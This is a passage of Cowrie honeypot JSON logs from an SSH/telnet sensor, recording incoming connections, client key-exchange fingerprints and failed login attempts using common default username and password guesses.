6","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:31.599963Z","src_ip":"159.203.92.129","session":"2f4351c42f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"8","password":"123","message":"login attempt [8/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:31.609299Z","src_ip":"159.203.92.129","session":"2f4351c42f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:32.616720Z","src_ip":"159.203.92.129","session":"2f4351c42f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35948,"dst_ip":"159.203.135.109","dst_port":22,"session":"100c16e2dcb1","protocol":"ssh","message":"New connection: 159.203.92.129:35948 (159.203.135.109:22) [session: 100c16e2dcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:15.854011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:15.859482Z","src_ip":"159.203.92.129","session":"100c16e2dcb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:15.864903Z","src_ip":"159.203.92.129","session":"100c16e2dcb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"8","password":"123456","message":"login attempt [8/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:15.878637Z","src_ip":"159.203.92.129","session":"100c16e2dcb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:16.885330Z","src_ip":"159.203.92.129","session":"100c16e2dcb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00233030319214,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:20.096957Z","src_ip":"172.59.82.52","session":"0fafcfa9509e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.59.82.52","src_port":35003,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3f5f1c4e20e","protocol":"telnet","message":"New connection: 172.59.82.52:35003 (159.203.135.109:23) [session: a3f5f1c4e20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:20.564670Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40654,"dst_ip":"159.203.135.109","dst_port":22,"session":"3da5ce96873e","protocol":"ssh","message":"New connection: 159.203.92.129:40654 (159.203.135.109:22) [session: 3da5ce96873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:59.978342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:59.983727Z","src_ip":"159.203.92.129","session":"3da5ce96873e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:08:59.988781Z","src_ip":"159.203.92.129","session":"3da5ce96873e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"8","password":"8","message":"login attempt [8/8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:00.008837Z","src_ip":"159.203.92.129","session":"3da5ce96873e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:01.017257Z","src_ip":"159.203.92.129","session":"3da5ce96873e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.204","src_port":52173,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5dea1350703","protocol":"telnet","message":"New connection: 147.185.132.204:52173 (159.203.135.109:23) [session: f5dea1350703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:01.861254Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52722,"dst_ip":"159.203.135.109","dst_port":22,"session":"014d040c2c08","protocol":"ssh","message":"New connection: 80.94.92.186:52722 (159.203.135.109:22) [session: 014d040c2c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:21.179116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:21.183696Z","src_ip":"80.94.92.186","session":"014d040c2c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:21.345963Z","src_ip":"80.94.92.186","session":"014d040c2c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:21.815605Z","src_ip":"80.94.92.186","session":"014d040c2c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34610,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7df9e4e938f","protocol":"ssh","message":"New connection: 37.143.61.84:34610 (159.203.135.109:22) [session: a7df9e4e938f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:22.687484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:23.006172Z","src_ip":"37.143.61.84","session":"a7df9e4e938f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:23.090281Z","src_ip":"37.143.61.84","session":"a7df9e4e938f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:23.117739Z","src_ip":"80.94.92.186","session":"014d040c2c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2024","message":"login attempt [ubuntu/ubuntu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:26.887936Z","src_ip":"37.143.61.84","session":"a7df9e4e938f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:28.080875Z","src_ip":"37.143.61.84","session":"a7df9e4e938f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.032424926757812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:32.893512Z","src_ip":"147.185.132.204","session":"f5dea1350703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48046,"dst_ip":"159.203.135.109","dst_port":22,"session":"d668b5bb4ed1","protocol":"ssh","message":"New connection: 159.203.92.129:48046 (159.203.135.109:22) [session: d668b5bb4ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:43.807713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:43.811812Z","src_ip":"159.203.92.129","session":"d668b5bb4ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:43.814907Z","src_ip":"159.203.92.129","session":"d668b5bb4ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"9","password":"123","message":"login attempt [9/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:43.825694Z","src_ip":"159.203.92.129","session":"d668b5bb4ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:44.834927Z","src_ip":"159.203.92.129","session":"d668b5bb4ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":38234,"dst_ip":"159.203.135.109","dst_port":22,"session":"85f574a5b777","protocol":"ssh","message":"New connection: 103.228.69.212:38234 (159.203.135.109:22) [session: 85f574a5b777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:46.520216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:46.524801Z","src_ip":"103.228.69.212","session":"85f574a5b777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:46.753422Z","src_ip":"103.228.69.212","session":"85f574a5b777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitrix123","message":"login attempt [root/bitrix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:47.691072Z","src_ip":"103.228.69.212","session":"85f574a5b777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:09:48.919406Z","src_ip":"103.228.69.212","session":"85f574a5b777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00302124023438,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:20.567540Z","src_ip":"172.59.82.52","session":"a3f5f1c4e20e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49588,"dst_ip":"159.203.135.109","dst_port":22,"session":"964b67945e43","protocol":"ssh","message":"New connection: 159.203.92.129:49588 (159.203.135.109:22) [session: 964b67945e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:25.621481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:10:25.626079Z","src_ip":"159.203.92.129","session":"964b67945e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm